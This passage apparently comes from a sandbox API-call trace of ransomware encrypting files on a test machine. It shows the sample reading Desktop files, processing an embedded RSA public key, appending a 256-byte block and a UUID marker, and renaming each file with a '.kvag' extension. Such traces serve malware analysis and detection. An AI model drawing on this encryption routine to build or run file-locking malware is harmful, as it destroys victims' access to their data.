(lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.149] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.149] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.150] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.150] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.150] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.150] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.150] GetLastError () returned 0x0 [0119.150] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.150] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.150] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.151] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.151] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.151] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.151] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa27e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.151] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.151] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.151] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.151] CloseHandle (hObject=0x61c) returned 1 [0119.153] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\un2NZ0.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\un2nz0.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\un2NZ0.ots.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\un2nz0.ots.kvag")) returned 1 [0119.155] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70524c00, ftCreationTime.dwHighDateTime=0x1d4d2a7, ftLastAccessTime.dwLowDateTime=0x425e28b0, ftLastAccessTime.dwHighDateTime=0x1d4d05d, ftLastWriteTime.dwLowDateTime=0x425e28b0, ftLastWriteTime.dwHighDateTime=0x1d4d05d, nFileSizeHigh=0x0, nFileSizeLow=0xc9a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vg6XpIzB5IOETRduC0mW.jpg", cAlternateFileName="VG6XPI~1.JPG")) returned 1 [0119.155] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vg6XpIzB5IOETRduC0mW.jpg") returned=".jpg" [0119.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vg6XpIzB5IOETRduC0mW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vg6xpizb5ioetrduc0mw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.155] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=51621) returned 1 [0119.155] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.156] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc97f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.156] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.156] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xc9a5, lpOverlapped=0x0) returned 1 [0119.156] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.156] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.156] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.156] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.157] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.157] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.157] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.157] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.157] GetLastError () returned 0x0 [0119.157] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.157] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.158] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.158] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.158] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.158] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.158] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc9a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.158] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.159] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.159] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.159] CloseHandle (hObject=0x61c) returned 1 [0119.160] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vg6XpIzB5IOETRduC0mW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vg6xpizb5ioetrduc0mw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vg6XpIzB5IOETRduC0mW.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vg6xpizb5ioetrduc0mw.jpg.kvag")) returned 1 [0119.161] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff11410, ftCreationTime.dwHighDateTime=0x1d4cc29, ftLastAccessTime.dwLowDateTime=0xe08003a0, ftLastAccessTime.dwHighDateTime=0x1d4ce92, ftLastWriteTime.dwLowDateTime=0xe08003a0, ftLastWriteTime.dwHighDateTime=0x1d4ce92, nFileSizeHigh=0x0, nFileSizeLow=0x5b3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VX-tXZ7p07rm2KlA.wav", cAlternateFileName="VX-TXZ~1.WAV")) returned 1 [0119.161] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VX-tXZ7p07rm2KlA.wav") returned=".wav" [0119.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VX-tXZ7p07rm2KlA.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vx-txz7p07rm2kla.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.161] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=23354) returned 1 [0119.161] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.163] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5b14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.163] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.165] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x5b3a, lpOverlapped=0x0) returned 1 [0119.165] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.165] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.166] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.166] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.166] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.166] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.166] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.166] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.166] GetLastError () returned 0x0 [0119.167] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.167] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.167] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.167] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.167] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.167] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.167] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5b3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.167] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.167] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.167] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.167] CloseHandle (hObject=0x61c) returned 1 [0119.168] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VX-tXZ7p07rm2KlA.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vx-txz7p07rm2kla.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VX-tXZ7p07rm2KlA.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vx-txz7p07rm2kla.wav.kvag")) returned 1 [0119.170] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f60610, ftCreationTime.dwHighDateTime=0x1d4c722, ftLastAccessTime.dwLowDateTime=0x6adcaeb0, ftLastAccessTime.dwHighDateTime=0x1d4d440, ftLastWriteTime.dwLowDateTime=0x6adcaeb0, ftLastWriteTime.dwHighDateTime=0x1d4d440, nFileSizeHigh=0x0, nFileSizeLow=0xdc86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yFpkKpBBWpZMakq.jpg", cAlternateFileName="YFPKKP~1.JPG")) returned 1 [0119.170] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yFpkKpBBWpZMakq.jpg") returned=".jpg" [0119.170] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yFpkKpBBWpZMakq.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yfpkkpbbwpzmakq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.170] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=56454) returned 1 [0119.170] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.172] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdc60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.172] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.172] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xdc86, lpOverlapped=0x0) returned 1 [0119.172] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.172] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.172] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.172] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.173] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.173] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.173] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.173] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.173] GetLastError () returned 0x0 [0119.173] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.173] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.173] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.173] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.173] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.173] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.174] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdc86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.174] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.174] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.174] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.174] CloseHandle (hObject=0x61c) returned 1 [0119.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yFpkKpBBWpZMakq.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yfpkkpbbwpzmakq.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yFpkKpBBWpZMakq.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js 